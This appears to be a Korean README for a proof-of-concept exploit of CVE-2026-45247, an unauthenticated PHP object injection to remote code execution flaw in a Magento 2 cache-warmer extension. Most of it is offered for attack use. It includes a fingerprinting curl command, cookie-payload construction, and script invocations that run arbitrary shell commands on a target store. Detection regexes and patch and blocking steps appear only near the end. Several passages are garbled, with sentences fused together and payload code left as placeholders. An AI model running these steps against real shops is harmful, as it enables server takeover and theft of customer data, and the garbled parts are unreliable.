
기능적 PoC of CVE-2026-45247: Mirasvit Full Page Cache(Magento 2)에서 인증되지 않은 PHP Object Injection에서 RCE까지.
CVE-2026-45247은 Magento 2 및 Adobe Commerce용 Mirasvit Full Page Cache Warmer 확장 프로그램에서 발생하는 치명적인 PHP 객체 주입(PHP Object Injection) 취약점입니다. 인증되지 않은 공격자는 CacheWarmer 쿠키에 조작된 직렬화된 PHP 객체를 전송하여 **원격 코드 실행(RCE)**을 달성할 수 있습니다.
이 취약점은 PHP 네이티브 unserialize() 함수에 대한 제한 없는 호출과 Magento 및 해당 종속성(특히 Monolog)에서 사용 가능한 가젯 체인(gadget chains)이 결합되어 발생합니다.
| 속성 | 값 |
|---|
| CVE | CVE-2026-45247 |
| 제품 | Magento 2용 Mirasvit Full Page Cache Warmer |
| 영향받는 버전 | 1.11.12 미만의 모든 버전 |
| 사용 가능한 패치 | 버전 1.11.12 (2026년 5월 25일) |
| CVSS 점수 | 9.8 (치명적) |
| 벡터 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CISA KEV 상태 | 활성 익스플로잇 확인됨 (2026년 6월 3일 추가됨) |
| 마감일 | 2026년 6월 6일 |
CacheWarmer 쿠키를 처리합니다.unserialize()에 전달됩니다.SyslogUdpHandler, BufferHandler, FingersCrossedHandler)을 사용하여 RCE를 달성합니다.# 스토어에서 Mirasvit Cache Warmer를 사용하는지 확인
curl -s https://tienda.com/pub/media/mirasvit/cache_warmer/CHANGELOG.md
2단계: 취약점 분석
# 이 쿠키는 인증 없이 모든 요청에서 처리됩니다
# Mirasvit의 취약한 코드:
$cookieValue = $_COOKIE['CacheWarmer'];
$data = unserialize(base64_decode($cookieValue)); # 위험!
3단계: 익스플로잇 실행
# 악성 쿠키 구성
payload = serialize(PHPObjectInjection())
cookie_value = f"CacheWarmer:{base64_encode(payload)}"
# 요청 전송
requests.get(target, cookies={'CacheWarmer': cookie_value})
🛠️ PoC 사용
git clone https://github.com/tu-usuario/CVE-2026-45247.git
cd CVE-2026-45247
pip install requests
# 취약점 확인
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com --check-only
# 'id' 명령 실행
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "id"
# 사용자 지정 명령 실행
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "whoami"
# 디버깅에 프록시 사용
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "ls -la" --proxy http://127.0.0.1:8080
빠른 스크립트
# bash 스크립트로 확인
chmod +x check_cve_2026_45247.sh
./check_cve_2026_45247.sh https://tienda.ejemplo.com
액세스 로그에서:
CacheWarmer: (Tz|Qz|YT)[a-zA-Z0-9+/=]+
익스플로잇에서 관찰된 명령:
echo PWNED_CVE2026_$(date +%s)
sleep 5
사용된 가젯 체인:
Monolog\Handler\SyslogUdpHandlerMonolog\Handler\BufferHandlerMonolog\Handler\FingersCrossedHandlerMonolog\Handler\GroupHandler# 패치된 버전으로 업데이트
composer require mirasvit/module-cache-warmer:1.11.12
bin/magento cache:flush
# .htaccess 또는 nginx에서 CacheWarmer 쿠키 차단
RewriteCond %{HTTP_COOKIE} CacheWarmer
RewriteRule .* - [F,L]
// app/code/local/Custom/BlockCookie.php에서
if (isset($_COOKIE['CacheWarmer'])) {
unset($_COOKIE['CacheWarmer']);
}